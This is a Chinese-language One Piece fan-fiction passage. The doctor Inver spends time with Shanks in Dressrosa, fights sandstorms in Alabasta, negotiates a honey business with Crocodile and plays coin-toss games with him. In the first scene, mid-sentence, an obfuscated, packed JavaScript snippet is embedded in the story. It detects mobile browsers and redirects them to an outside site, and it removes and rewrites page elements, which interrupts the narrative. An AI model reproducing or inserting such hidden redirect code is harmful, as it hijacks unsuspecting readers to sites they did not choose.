??什么奇怪的好胜心,跟贝克曼学的? “得了吧,好弟弟,上面那群家伙已经坐不住了。没看我这次波比都没在你这儿停?” “没关系,我们已经在变强了,茵弗,你早就不用再害怕了。” “也对。” 茵弗叹了口气,被香克斯拉着走到酒吧的卡座坐下,仰头靠上舒服的椅背。 艾斯拒绝了七武海的事情传得沸沸扬扬,拂了海军的面子,他很担心。但是现在香克斯他们已经切实算得上他的力量,他交了很多朋友,如果需要,他们会来,就像给希鲁鲁克治病时一样。 确实这段日子有点焦虑,面对还是青少年少女的索隆他们,有些心急了。 香克斯偏头看放松下来的人,牵着对方的手又紧了紧。 “呋呋呋真黏人啊''好弟弟''。” 茵弗睁开眼,看到晃到这边来的两个大羽毛团子。又是明目张胆跟踪他...不是都跟他们说了要见香克斯,“我乐意我弟弟黏着我,嫉妒了?渡鸦先生都不跟您这么亲昵的。”他吐吐舌头,侧过身子和香克斯贴贴脑袋。 香克斯没回话,笑嘻嘻地也和他贴贴,手指摩挲过被他捂暖的手上浅浅的某处伤痕。 不过没想到这次这两个家伙倒是真的有正事,罗西南迪收到战国联系,要他回去。 黑羽毛大衣的男人刘海都软趴趴的没精神。自从德雷斯罗萨成了伊甸在新世界的锚点之后,他也承担起帮海军通过黑曼巴的渠道收集新世界消息的任务。他做的工作很多,所以不太明白为什么突然把他叫回去,他其实...不太想回去,他有在为海军尽职,也在帮助伊甸蛇盘绕的果树越长越高,坚持自己的正义。 “那您就跟您养父商量呗,您哥哥也舍不得您,您没听他呋呋呋的调都不对劲了?” “呋呋呋我没有,罗西是海军,不留在我身边也正常。” “您听听,哀怨呐。”茵弗努力咬着瓜子,试图剥出里面的仁,好半天才吃了几颗,声音也有些含糊,“不过他们叫我去海军总部相亲,也许他就是觉得我们比较熟悉,您成功率大一点。” 和他还是学不会嗑瓜子一样,罗西南迪也学不会不脸红,即使他在这个爱之国住了这么久。 德雷斯罗萨是很适合种向日葵的地方,非常美丽。一个热情,浪漫的国家。 塔罗牌在这里盛行,所以多弗朗明哥和他送去当七武海的小神谕配合,不知道怎么弄得现在在这儿话语权很大。 茵弗喜欢在街上跳舞的男性女性,喜欢青年们弹着鲁特琴,嘴里吟唱求爱的小调,喜欢热烈去爱的情人。遭遇背叛就捅人也很有趣,大胆地爱,大胆地允许自己愤怒,虽然报复方式让他来可能会换一种,不过这让他的医院收入极好。 好吃的瓜子也不错,出产的油也质量好,【德雷斯罗萨的玫瑰】更是成为伊甸名下的一大商标。它在地上世界和地下世界代表的含义稍微不同,茵弗不在意,玫瑰与荆棘都是特性——黑曼巴是双头蛇。 “呋呋呋呋呋加油啊罗西。” “加油啊柯拉...啊啊夹到舌头了!” 茵弗把香克斯握着的手抽出来,用双手代替牙齿剥着瓜子壳,满意吃到嘴后又剥了一颗给自己身旁的红毛弟弟,端着他的脸就想亲亲他脸上的三道疤——真帅。 罗西南迪:“晚上去皇宫的晚宴吗?听说你来了,力库王拜托我们邀请你。” 茵弗:“今天吗?可是香克斯过两天就得走了诶。” 不管、王族什么的每次来都见,香克斯可是难得一见。茵弗呼噜噜地甩脑袋拒绝,耳饰哗啦啦地响。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094012|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等他走了之后吧!王族那边随便找个什么理由。” - “这不是理由!” “抱歉,BOSS。” 克洛克达尔心情烦闷。近几年的降雨异常和干旱已经挑起了民众的慌乱,对阿拉巴斯坦王族的信念也在被削弱。这么多年,他的计划顺利进行,可他刚把跳舞粉的使用推在国王身上,干旱的不同地区就接连不断地开始下雨。 派出Mr.1也找不到准确缘由,跳舞粉的使用也无法阻止雨水的再次降临。 面上带疤的男人又点燃了一根雪茄,他亲自去“恭喜”了一下因为此事头疼许久的寇布拉,凭借自己多年取得的信任,居然没有套出原因。 ''是上天的恩赐,让雨再次回到我们的土地。'' 他可不信,一开始就是他克洛克达尔阻止了“雨”的恩赐,“上天”不在乎。 “追踪结果?” “奇迹游医没有异动,仍然在阿拉巴斯坦境内游历,隼之佩鲁陪同。他的路线和降雨出现地点并不吻合,也没有使用过跳舞粉的迹象。” 克洛克达尔啧了一声。降雨是奇迹游医来到阿拉巴斯坦之后开始出现的,他不相信这种巧合。即使波尼斯觉得一个医生再怎么“奇迹”也奇迹不到这个份上。 “...不过军队内部的探子说,国王和奇迹游医好像做了什么交易合作,花了一大笔钱。” 戴满宝石的手上缓缓旋转起沙粒,凝聚成小股的沙尘暴,“他什么时候能到雨地?我要''请他做客'',v、i、p。” 达兹·波尼斯犹豫了一下,对着自家心情不好的社长摇了摇头:“他...行踪不定,完全看心情...这是出了名的,有的地区已经走过几次了。” 确实,新世界,四海,伟大航路,不管是不是绕远路,他折来折去地到处做“游医”,随心所欲地在海上兜圈子。 克洛克达尔起身走到阳台,将手里的沙尘暴推往约巴的方向:“那就下次他返回阿鲁巴拿时,我亲自去皇宫拜访。” - “呜哇沙暴又来了。”茵弗放下手中的望远镜,比划了一下方向——“东边。” 身旁的佩鲁严肃地点头,同样举着望远镜,按学来的方式比划着角度范围,低头翻出怀里的地图标注。 自从奇迹游医帮阿拉巴斯坦联系了维莎利亚,雇佣气象船缓和了近年的干旱问题,沙尘暴就在增多。虽然很令人难以置信,但是气象学家们在上空调研后,得出了云层的异变是化学物质干扰的结果,正是最近不断传出的流言——有人使用了跳舞粉,使雨水集中在王都。 寇布拉陛下大为震惊,他们都相信仁爱的国王不是流言里的使用者。在攀谈中,陛下提出也许可以联系“阿拉巴斯坦的英雄”七武海鳄鱼,来帮忙一起调查。奇迹游医却拜托先向他隐瞒此事。 ''愿意大量挪用王室用金雇佣气象船为国民们缓解旱灾,我愿意相信您不是始作俑者,但是其他包括皇宫里的所有人,任何人都有可能,不是吗?'' 这明显是针对王室的计谋,也许有人想要夺权,想要以此要挟,对于沙漠国家来说“水”是最珍贵的资源。 他将背上的人放在沙漠里,已经遥遥地能肉眼可见袭来的沙暴,宛如巨兽吞噬一切般汹涌而来。面对天灾人能做到的事情有限,但这已经不是第一次奇迹游医试着阻止沙尘暴吞没城市了。他不能接近,无论成功与否,对方扬起的强大气流他都很难承受,只会给人增加麻烦,需要分神照顾他。 茵弗在佩鲁一如既往的担心眼神中冲向滚滚的风沙龙卷。他曾经用霸气打穿过海啸,所以他不认为自己不能打同样是天灾的沙暴。只是沙比起水更难打击,即使打破也会再次随着不稳定的气流翻滚,随着风的方向继续前进。 所以与其说他抵抗的是沙子,不如说是风,他得用“气”抵抗“气”。结合哈尔达教他的沙尘暴原理,什么动量和偏差风的,他已经实验了好几次距离,角度和力度了。 不过学习了之后再看,人为的沙尘暴和自然形成的区别果然很大,如果是龙卷风的形状,大概就是造出来的。一般如乌云席卷般冲腾的风沙墙推移碾压,才更为沙漠子民熟悉。 只能说还好雷利不知道用什么材质给他打了手杖,茵弗在将大量的霸气凝聚在手杖中流动打出,卷起属于他的狂风时想,自己曾经的佩刀大概来几次就会断掉。 嘭——— 嘭—— 嘭—————! 吵死了!! 约巴的居民们在巨响后等待沙尘暴撞击在建筑上的声响。的确来了,但是...安静许多。比起将水份与树木,甚至建筑全都连根拔起的恐怖声响,更像是猫爪的轻挠。 短暂地一场沙雨,就过去了。 他们走出掩体外,吹去浮土,拍拍微微歪斜的椰枣树,感激上天带来的奇迹。 奇迹游医躺在离约巴不远的地方,摘下沾满沙粒,让他无法呼吸的面巾大口喘息着。 打得动,但是就像他没法彻底阻止海啸前进,也没法完全阻止沙尘暴。能减小威力,创造窗口,让更多人能活下来,他也就满足了。 这次还算成功吧,至少抵达约巴的大概没那么严重,不会把绿洲埋掉。 累死了。 茵弗在滚烫的沙地里,呸呸地吐出嘴里的沙子后将护目镜移到汗水涔涔的额头上。 佩鲁急匆匆地飞过来,确定他没事之后将他带回约巴。 水里还浮着一层沙,没关系,不嫌弃。他这段时间暂住的主人家,多多先生端来椰枣给客人,说寇沙在热烤肉。 他感谢地点头,霸气外放真是太累人了,必须要恢复体力。 佩鲁拧着眉头将地图递给他,沙尘暴是很不规律的自然现象,但是他们这段时间遇上的几次沙暴,如果来源方向画出来延长,大概率交叉点都在一个位置范围。发现此事后国王下令收集近来增多的沙尘暴数据,配合维莎利亚的科学家们,剔除一些自然形成的沙尘暴,基本可以确定它们的异常。 “沙沙果实...这么厉害的啊。”茵弗嘀咕着,往嘴里塞清甜的椰枣。 “国王陛下说克洛克达尔先生亲自去拜访过他询问雨水的事情了?” “是,他暗示希望得知原因。” “嗯...恶劣点想就是坐不住了吧?” 名叫寇沙的年轻少年端来热好的烤肉,还有一些烤饼,茵弗闻到味道就幸福地流口水。沙漠国家独特的香辛料使用和美食风格真的是让他十分喜欢。 “谢谢您!居然还教给我家族食谱真的是太感谢了。” 胖胖的多多先生拍拍肚皮,尊敬的客人能喜欢他的手艺是他的荣幸,连说哪里哪里。 身上和头发里全是沙,真难受。再呆几天,就回阿鲁巴拿。茵弗拍拍身旁严肃愤怒的隼之守护神表示安慰,对方本来就是一个深爱自己国家,厌恶任何想要伤害它的人。现在知道也许近年来国家的苦难都是人为,始作俑者可能还是他们奉为上宾的人,肯定不好受。 “不过我也不建议您们就去讨伐他,拿不出证据。他在人民心中现在威望隐隐超过王室,贸然行动肯定没好彩头。” 他就知道这是个聪明的家伙。明里没有海贼团,开的是赌场,收缴前来侵犯的海贼财宝,暗里肯定发展了什么势力。 防风固沙的话...植物...也许可以联系泽法,SWORD里他那个学生不是什么茂盛果实来着?海军不能干预七武海的行为,不是海军的海军可以吧? 跳舞粉就没办法了,掠夺积雨云抢夺水分,没法中和,顶多让它吐出来,又不能让它“还回去”。也就是说一旦使用只有降雨后才会消解。哈尔达他们说是世界政府禁止持有的,所以克洛克达尔肯定势力不小,至少在黑市里...嗯?黑市? ...也许联系一下黑曼巴吧,他就说他跟多弗朗明哥说要去阿拉巴斯坦的时候笑得诡异,在这儿等着他呢? 不过沙鳄鱼一个海贼,图阿拉巴斯坦的什么啊?窃国?还是别的什么需要窃国才能得到的东西?''他没认输'',这是自己知道的线头。 啧啧,野心不小,又很聪明,他一个小医生还是少打交道为好,肯定脑袋疼。 加油吧阿拉巴斯坦!我都帮到这里了,在这儿让我低成本弄个蜜蜂养殖,给伊甸建个沙漠药材种植基地,不过分吧? ...果然最先联系的应该是家里商业的王。 84.沙子讨厌雨 克洛克达尔图什么倒是有些眉目了。 感谢他帮助的国王同意了茵弗在这里发展产业的计划,同时在他询问除了钱与权力,王族们还有什么好东西值得人垂涎时犹豫再三,吐露了阿拉巴斯坦地下陵墓的秘密——历史正文。 茵弗对着他能认出来的词挑眉——尤其是在某本古老的设计图上他见过多次出现的熟悉词语,很好猜它的意思——【冥王】。 “你...看得懂吗?” 面对寇布拉的震惊,茵弗摇摇头: “当然看不懂。” 忽略身旁黑发国王的嘀咕,猜想也许并不是这个这类的话,茵弗觉得大概就是这个。 打不赢□□,败给白胡子...莫利亚失败后组建活死人军队,克洛克达尔找武器? “总之...请务必保密,游医先生。” “当然了,我宣扬它也没意义吧?” 聪明、有野心、伪装成浮木在水下蛰伏,对着不自知的猎物缓缓张开血盆大口,狠狠咬住,翻滚撕碎——人如其名啊,克洛克达尔先生。 跟贝克曼来一场聪明人交锋的话,大概会很精彩?变温动物们。 审视的蛇,蛰伏的鳄。 “陛下,克洛克达尔来访。” 刚回到王室厅,伊卡莱姆就如此禀报。 茵弗对着寇布拉比了个大拇指,回提供给自己的房间打各种电话虫。 跟商业的王汇报一下,联系完泽法借他的好队员,才挂断画着笑脸的电话虫门就被礼貌地敲了几下。 伊卡莱姆:“游医先生,国王陛下请你前去一同...会见客人。” 还没走?寇布拉很努力地推拉了吧,看来鳄鱼铁了心要见他。茵弗揉揉眼睛,给自己披上外套,沙漠地区到了晚上还是冷的,即使他们在城里。 鳄鱼也披着外套,毛毛的大衣看起来就很暖。 “啊,这位就是奇迹游医茵弗玛利先生了,游医先生,这位是阿拉巴斯坦的大英雄克洛克达尔先生。” “您好,幸会。” 松开礼貌相握的手,茵弗在被伊卡莱姆带到旁边的椅子上坐下时搓了下手指。打得过,只是沙漠是对方的主场,可能会有点麻烦。 寇布拉友善地继续说道:“打扰你在忙了,但是鳄鱼先生听我说你要在阿拉巴斯坦开发伊甸产业后很感兴趣,想要聊聊。” “啊,原来如此。” 茵弗目光扫过克洛克达尔的戒指,嘴里看起来很名贵的雪茄,还有...断手后的金钩义肢和脸上的疤。黑发男人同样在打量他,脸上带着礼貌的微笑。 “我听说除了建立药材基地,你准备在阿拉巴斯坦养蜂,游医先生?我以为在长期干旱环境下这很不划算。” “我和国王已经达成合作,他投资了一大笔钱,我怎么会做这种让帮助我的人没回报的事呢。” 和聪明人讲话真的累。茵弗不着痕迹地叹了口气,缓缓开口。 沙枣是荒漠地区的传奇之树,耐旱,可以防风固沙,阿拉巴斯坦的沙枣椰枣也是一大产出。而沙枣蜂蜜在蜂蜜种类中是等级最高的一类,区别与百花蜜,它带着野生的木本风味,清爽的果香。 “同时,它的营养价值非常高,补脾益胃、补中益气、补血安神,增益对肠胃系统的维护...” 茵弗笑了笑:“我能在这里产出''医疗等级''的蜂蜜,杀菌效果效果比一般的抗生素还好。您明白吗?” 世界上最高品质的蜂蜜。 蜂蜜是鬼魂、恶魔、恶灵和死者的毒药,代表着复活的象征。 “沙漠里的黄金,克洛克达尔先生,不止有【沙】。” 沙·鳄鱼眯起眼睛。 他也是个精明的商人,自然知晓这其中的利益。本来以为“干旱”的事情,对方会提到最近的雨。干旱也是他选择这里的原因吗? “你准备卖多少钱呢?” 旁侧的人脸颊托在手背上,笑眯眯地用另一只手比划了个数字。“至少也要两到五万贝利一瓶吧?” 王座上的寇布拉看到克洛克达尔和他刚听到这个数字时一样惊讶地顿住。毕竟一般市面上的蜂蜜也就是二百到一千贝利一瓶,最贵的也就是三千贝利。 “当然了,挂上【茵弗玛利】的牌子,卖给...''特殊人群''的话我会翻倍,换个包装的事情而已。” 克洛克达尔下意识哼笑一声,一个医生敢在王族的面前说自己会骗王族们的钱? 茵弗观察着他的反应,继续说道:“而且别的作物,包括带花的药材也可以搭配养蜂,产出的蜂蜜也会有医学价值,蜜蜂是个好东西,先生,它们传播生机。” 就像沙漠里的水,唤醒绿洲。 “别的地方我也打算养蜂呢,不止是阿拉巴斯坦,我这段时间对这件事很有兴趣。” 克洛克达尔:“当然了,毕竟蜂蜜这种甜味剂在你手里都是黄金。” 茵弗摇头:“这只是顺便,其实主要原因是我做了一次蜂蜡的手工蜡烛,觉得好玩而已。” 短暂交流后,克洛克达尔邀请他到自己的赌场兼酒店“雨宴”去做客,顺便表明自己愿意陪同他在雨地游历。雨地是他的地盘,在他的发展下已经是阿拉巴斯坦的“梦想之都”。奇迹游医要在这里发展产业,一定绕不开这里,毕竟是富有游客们一定会拜访的城市。在他的蜂蜜生意上也愿意合作,花钱买一部分销售权这类的。 “我是个海贼,但也是个商人,做生意的信誉上你可以放心。” 茵弗瞥了一眼寇布拉,在国王眼皮子底下挖墙脚?他都做到足矣大胆地这么干了? 他耸耸肩,“不影响我和王族合作的东西我们都可以慢慢谈,您是不是海贼对我来说没有关系。茵弗玛利平等地对所有选择他的人伸手。” 思考了一下,他在克洛克达尔以玩笑的口气说当然了,毕竟你和另一个七武海''关系也不赖''时回答道: “这么关注我啊,先生,好巧,我也关注过您。”他笑着直视那双灰眸说,“您和我的老师曾经打过架呢。” 克洛克达尔:“...老师?” 茵弗:“啊,子弹(Bullet)先生。” 他可是巴/雷特的学生,只在水面堪堪露出鼻吻凝视他的鳄鱼如果准备张开嘴咬下来,那么结果会是一样的,他不会赢。 咬着雪茄的男人吐出一口灰烟,半掩住他黑掉的脸色。烟气散尽,茵弗不知道他在短时间内想了多少东西,不过克洛克达尔伸出手——金钩的那只——“那么祝合作愉快,游医先生。” 有意思。 茵弗也伸出手,不过没有握他那金钩,只是曲指弹了一下,发出一声响。 “合作愉快。” - 鳄鱼把他带到身边监视也没用,监视王族也没用。雨不会停,因为气象学家们和寇布拉安排好了在阿拉巴斯坦的降雨恢复正常前隔一段时间就人工降雨一次。茵弗玛利已经在哈尔达心中的地位再次拔高——给他们介绍了长期大金主的贵客——加盟国王族出手就是大方。虽然送来学习的小丫头有些暴力,没有他会欣赏风之结。 所以即使克洛克达尔想跟着妮可·罗宾出现的情报去找人,之后正式展开他的理想乡计划也很难解决雨的问题。他得另想办法引发叛乱,种子埋下,现在要用不太一样的方式让它发芽。比如国王在发现事情败露后才暂停使用跳舞粉...... 他一边思考着各种可能的情况,一边礼貌地等约好今天一起去逛逛雨地的奇迹游医。自己给他安排了雨宴里最好的房间,早餐有人送到床上的那种。 茵弗玛利声望很高,尤其是在产业地。他花了多年夺取属于阿拉巴斯坦王族的声望,作为他计划重要的一环。以后民众们嘴里对奇迹游医的谈论只会越来越多,如果只是和王族挂钩的话对他很不利,他得试着顶替。 手腕上的表走到离约好的时间差五分,浅金发男人就来了,打了个哈欠后注意到他,又挂上他那副笑眯眯的样子走来。 “早上好,克洛克达尔先生。” “早上好,你想先去哪里?” 民众多的街上最好。 “嗯...我想先看看您的香蕉鳄。” “...。” 香蕉鳄鱼是他的宠物,身形巨大,头顶有香蕉造型,是能以海王类为食的猛兽。茵弗玛利到达雨地后来找他,优先问的事情就是雨宴顶部香蕉鳄的造型,自己自然回答。 ''读过但是没见过真的,还蛮想见见的。'' ''自然,随时都可以。'' 倒是没想到优先级这么高,他已经看了四十分钟了。克洛克达尔已经从站在一旁变为坐回自己的办公桌,有点烦躁地将烟灰抖入烟灰缸,他凝视着白衣人的背影——毕竟茵弗玛利扒在玻璃缸边,脑袋都贴在上面。 “好可爱哇...头上的香蕉捏起来是硬的还是软的?想摸摸看。” 手边就是让他从地板上掉下去的按钮,实现他的愿望也不是不可以。顺便被吃了那是他的问题,不过巴/雷特那混蛋的学生大概没那么轻易会被吃掉。 “要去摸一下吗?” “可以吗?好诶。” 茵弗感到脚下一空,在到达底部前踏了个月步卸掉力道,发现自己到了水缸下面联通的空旷地带,旁边的几个入口里,刚刚还隔着玻璃的香蕉鳄们缓缓爬了出来。 超大只的,头上的香蕉对比之下就感觉小小的,而且一脸笨兮兮的凶感,真的可爱。 就是不太礼貌。 他将手臂覆盖上武装色,摁住第一只对着他长大的嘴巴。嗯...听起来是健康又强大的好鳄鱼,咬合力还不错,不愧是可以咬碎石头的家伙,阿龙当年被他揍到墙上也咬碎石头呢。 抽出手杖抽飞袭过来的另一只,他手一用力跳到手里这只的身上,在香蕉鳄试图把他甩下时一拳捶上它脑袋,然后温柔地摸摸捏捏那个香蕉——就是鳄鱼皮肉的手感。 有、有点失望。 克洛克达尔看茵弗玛利一边揍他的香蕉鳄们,一边在它们身上摸摸捏捏,测试鳞片强度,比划来比划去的研究。比起面对凶兽的严阵以待,或是把它们全部打晕,更像是在观察他们的自然反应和习性,在它们的攻击间灵活游走着,想仔细研究什么的时候才用手杖把碍事的几只抽开砸到墙上。 等香蕉鳄们都逃窜回水缸中他才无趣地撇撇嘴,踩着月步返回。 “...好玩吗?” “很可爱,就是笨笨的。” “哪里弄来的?我也想要。” “你会六式?” 二人同时开口。 茵弗看克洛克达尔大概不想告诉他后甩了一下自己的手杖。 “会,泽法先生教过我,不过除了月步我不怎么用...我不打算钻研,所以没什么太大用处。” 铁块 、纸绘、会了霸气之后基本就是废掉的。岚脚还行,跟他流动外放配合的话想起来的时候也可以用。剃的话其实就是高速,他会的,当年被巴/雷特揍给他打下良好逃窜基础,至于指枪... 他将黑漆漆的手杖底部戳在瞬间紧绷的人身上,“有这个,干嘛要脏手。”笑嘻嘻地把手杖收回敲在地板上,克洛克达尔看起来就贵的地板上多了一个洞——没有多余裂痕的精准,“要不您卖我几只香蕉鳄?” 视线从地板上的洞收回,他当然感受到自己那一瞬间被武装色结实地戳了一下,不能元素化。巴/雷特是他的老师,听他的意思黑腕泽法也教过他。难怪能满世界行医,包括新世界。 “不卖。” “也是,要您的宠物也太失礼了,它们以后的崽崽呢?” 茵弗念叨着,有人来禀报午餐准备好了,他跟着克洛克达尔走向餐厅。 午饭很好吃,茵弗觉得也许克洛克达尔能和鹰眼吃到一起去,甚至是多弗朗明哥,他们偏好有点像。在他这么说的时候长桌另一侧的人面色古怪了一下。 不想在下午最热的时候去全是游客和居民的街上,下一站是雨宴里的赌场。 克洛克达尔老板亲自陪同,然后跟前来攀谈的黑西装或者长袍子浅聊几句,当然有提到奇迹游医受他邀请这类的东西。 奇迹游医换了筹码,没太管他,只是在被打招呼时礼貌点头,收了几个名片回去给露玖。 就像观察香蕉鳄,他也观察鳄鱼的生活习性。 所以有些分神地简单玩了几把轮盘,骰子,还有二十一点——倒是赢了些钱。不过也许是老板在旁边的原因,总不会让他亲自陪着的客人输。 爆米花桶里装着硬币,他坐在椅子上摇老虎机。这还是他第一次进赌场,老雷爱去,仗着茵弗给他零花钱大把挥霍,偶尔带个小玩具回来给他。 “老虎机很有趣?” 他已经在这儿坐很久了。 “我喜欢听它的声响。” 这是什么鬼理由,克洛克达尔抖抖雪茄。 茵弗哗啦哗啦地晃了两下手里的硬币桶,即使是抛硬币,降落在哪一面在这儿都是可控的。 有不少衣衫华贵的人在这里,叼着雪茄将筹码推来推去。人群围在骰子桌边,欢呼声和低骂声混在一起。也有输得什么都不剩的人被拉走,不知道是被丢出去还是去签一些抵押所有财产的契约。 坐上赌桌,就要做好“赌”的准备,就像是选择做海贼,就要有杀与被杀的觉悟。 他投入一枚硬币,拉动摇杆,摇摇晃晃的可能性咕噜噜地在视线里滚动,可这里是赌场。 “运气、头脑、演技、资金底气....”——就像克洛克达尔,他偏头看向身旁的雨宴老板,在赌场里——“最后庄家总会赢。” 哒、哒、哒、 老虎机吐出些许硬币,哗啦啦地砸在铁皮篮里。克洛克达尔沉默看他将硬币装进爆米花桶,然后捏起一枚对比着赌场里的人,好像在寻找人与钱,人与筹码之间的相似度。他好像找到什么了,满意点头后离开椅子,活动了一下久坐的身体。 “玩够了?” “玩够了,这些硬币能换奖品吗?我想要那个大的毛绒玩偶。” 抱着大号鳄鱼和鳄鱼逛街还是挺奇怪的感觉,如果手里再牵一条鳄鱼像遛狗一样大概就没那么奇怪?不过茵弗喜欢,居然把鳄鱼玩偶做成毛茸茸的样子,设计天才。 因为时间的关系,很多人都准备去找餐馆,或者已经找到心仪的娱乐场去挥霍了。不过作为一个商业气息浓厚的城市,街上还是不少人,茵弗还是感受到“阿拉巴斯坦的大英雄”是多么受欢迎。如果是人多的时间,大概和卡塔库栗上街也不相上下。 道阻且长啊,寇布拉国王。 大概他看起来更温和一点吧,勇敢凑过来的漂亮女士都挤到他身上了。 “鳄鱼大人——!” “呀——!” 声调都跟喊''卡塔库栗大人''一样呢。 克洛克达尔友好地一只手搭在他肩上,将他向他的方向拢了拢——金钩的那只手,然后随便回应着,当然还是话里话外带着奇迹游医这类的,''共同造福砂之国''。 茵弗拍开他的钩子,及时翻出手帕捂在脸上,打了个喷嚏——热情的人们香水味太杂了。 “啊湫—” 鳄鱼斜了一眼身旁的男人。虽然比他小,那也是三十多岁的人,抱着玩偶跟个小孩子一样,非得爬到房顶上看日落。不过站在高处,底下的民众崇拜地对他打招呼他是习惯的,所以上房顶也没什么关系。 茵弗收起拍照电话虫,天色已经染上深蓝,能见到的第一颗星星已经在向大地招手。金色的沙漠国度,大量土黄色的建筑,阳光镶嵌的镀金。每天的落日都很漂亮,如果香克斯在这里大概会拍很好看的照片。 即使是在城里,沙漠地区晚上还是冷的,随着太阳落山,气温也迅速开始降低。他身上只套着防晒的衣袍。 “冷了,下去吧先生。” 克洛克达尔的毛大衣看起来真的很暖,不过白天不会热吗?茵弗怕冷不怕热,但是也不会在这种气候环境穿他那身衣服。也许是果实的关系吧,他本来就是沙子。 克洛克达尔说请他在附近华贵的餐厅吃饭他还是有点抗拒的。晚一点就更冷了,还要走回雨宴去?不过他拒绝对方请他不要将手里的玩偶带进高级餐厅的请求,看他也很不爽的样子就欣然同意去餐厅了。估计是不喜欢过几天阿拉巴斯坦内部的报纸宣传他们的“好关系”时,拍照出来显得不够严肃? 餐前点是鹰嘴豆泥和酸奶油配面包,二人聊了聊生意。不过也没说太多,一般这种事情都是家里的专业人士去安排,克洛克达尔太聪明,这方面茵弗觉得容易被他带到沟里。 不如聊八卦。 “您手下的赏金猎人们有曾经试图把您抓去换悬赏的吗?哦,不对,您是七武海来着,他们也不知道您就是老板。” 克洛克达尔顿了一下,在送来主食的服务员离开后盯着奇迹游医。对方很自然地切着羊排,用刀具刮上肉汁,没有回视。 “看在我给您养着威士忌山峰的份上,一会儿回去路上把大衣借给我吧,社长大人?晚上很冷。” 黑发男人嗤笑一声,也动手吃自己的食物。威士忌山的酿酒的确和伊甸有合作,即使表面出面的不是巴洛克工作室。 “我拒绝,游医先生,你要是很冷我可以让人送衣服来。怎么查出来的?” 茵弗点头算是同意,只要暖和就行。 “酿酒的小镇全都是赏金猎人,我当然要调查一下,您的秘密没有您想象的那么严,尤其是早期的时候。” 不是他查的,但是四舍五入可以是他查的。打电话虫给大火烈鸟,对方告诉他在黑市大量购买跳舞粉背后的组织时他才想起来自己听露玖说过巴洛克工作室的名字,毕竟是她早期就留了名片的地方,只不过调查完结果是不影响威士忌山峰伊甸的产业,他就没在意。 克洛克达尔点头。那就是他知道有一阵子了,确实开始的几年保密工作还没有像现在这么严。既然如此,看王室的态度大概也没有给寇布拉透露过。情报里有只要不影响到茵弗玛利的东西,他就保持中立的这一点。 茵弗的确没有透露,毕竟他是知道了旱灾的事情,先叫来哈尔达他们降了雨之后,听科学家们说云的异常才慢慢发现这件事的。因为自己好奇才查下去,所以寇布拉只是知道克洛克达尔是使用跳舞粉,加剧干旱的人。茵弗都给他们点出来水里的那节枯木是捕猎者了,他们之后要是自己调查不出来也太逊了吧。什么都要他来? 不过他要在这儿养蜜蜂,养药材,这是“他的东西”,泽法已经派了包括宾兹在内的几名队员在来的路上,茂盛果实的使用者答应帮他催熟他的药园。 “您一个海贼不组建海贼团,而是''工作室''还挺有意思的。【巴洛克】的名字也好听,很适合您。” 奇怪的、不规则的珍珠;变温动物的傲气。 在沙的国度,他挥手就能带来天灾。不要伙伴,只是“雇佣”。失去了利用价值放弃就好了,对待【奇迹游医】的态度上也是这样的。 克洛克达尔:“也许我们不应该在这里谈,游医先生。” 茵弗:“哦好,那回去再说,其实我提起来的一大原因除了想聊八卦就是听说您们用厉害的 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虽然性格有点烦。 门被敲了几下,淡金色的脑袋探进来,看他没在打电话虫就溜过来,这次倒是没有直接过来上手摁地板开关的按钮,而是神秘兮兮地凑到他办公桌前,摸出一张...彩票。 “中了。” 克洛克达尔扫了一眼,大概是雨地哪家□□店的,商标颜色有点熟悉。干嘛找他说这种事情,生意合作都是电话虫他在跟别人谈。 “很多钱?” “五百贝利。” 他吐出一口烟,摁开地板开关,示意他可以走了。茵弗玛利将上面带有刮痕的彩票宝贝地放到口袋里,又摸出来几张。 “我用这五百贝利给您又买了四张,以表这段时间招待我的感谢,您不想刮刮看吗?” “没兴趣。” 金发男人摇头说我不信,好像他不信就不是真的了一样,他再次摁下开关合上地板,将四张标着100的刮刮乐彩票放在他的文件上,指指他的金钩。 “您都不用硬币,直接就能刮。” 他还没开口,或者把那几张彩票丢在壁炉里,对方就继续说道:“您一直都是庄家,来做一次赌客吧。”他从口袋里摸出一枚古董金币,缺了一角,然后说,“猜错,您就刮刮看,猜对,我就拿走它们,还给您个奖励。” 莫名其妙。 为了让他赶紧走,克洛克达尔咬着烟说道:“反面。” 叮——啪! 反面。 面前的人像个小孩一样撇嘴,默默收回那几张彩票,然后从斜挎的口袋里拿出一支一百贝利一朵的沙漠玫瑰插在他桌上的空瓶里。 “好吧,奖励您一朵花,今天卖花的摊子上那个小女孩说是最早开放的一朵呢。” 克洛克达尔捏住它,粉红的花朵在金色的视线里迅速失去水分后枯萎消散。 “啊。” 奇迹游医这么说,耸耸肩后离开了,推开门时碰到正要进来的波尼斯,又询问他要不要刮彩票。还没回答就被塞了一手彩票的Mr.1看了一眼自家老板,也不知道是不是该收下。 那四张彩票又回到了克洛克达尔桌上,被他丢到壁炉里。 第二天他又来送了一朵花,再次被他吸干后这个人居然点点头后拿出一把葡萄,拜托他做葡萄干。 “滚。” “真失礼,来赌吧,猜对了就做葡萄干,猜错了就给您个礼物。” “为什么猜对了要做?猜错了才对吧。” “有什么区别?只是一个结果对应一个而已。” 还是金币——“正面。” 叮——啪! 那把葡萄被留在他桌上,连着“礼物”,一张雨地的相片,大概是那天他在房顶上拍的。 照片丢入壁炉,充满水分的新鲜葡萄是他的战利品。 第三天也是一样。 枯萎的花,莫名其妙的请求,“来赌吧”。 第四天——金币,正面反面。 第五天——无所谓输赢的选择。 第六天他第一次遵循请求,茵弗玛利拿来的木桩在他的能力下失去大量的水分后被医生自己丢到壁炉里。于是余下的一天克洛克达尔的办公室弥漫着一股让人放松的微香。 第七天、第八天、一枚硬币的赌博持续下去。第十四天花朵没有枯萎,第十五天、第十六天、第二十天他没有来。 克洛克达尔第三次看过时钟,啧了一声。情报上“性情不定”的奇迹游医,性格真是麻烦。 噗噜噗噜噗噜、 “BOSS。” “还没回来,Mr.1?” 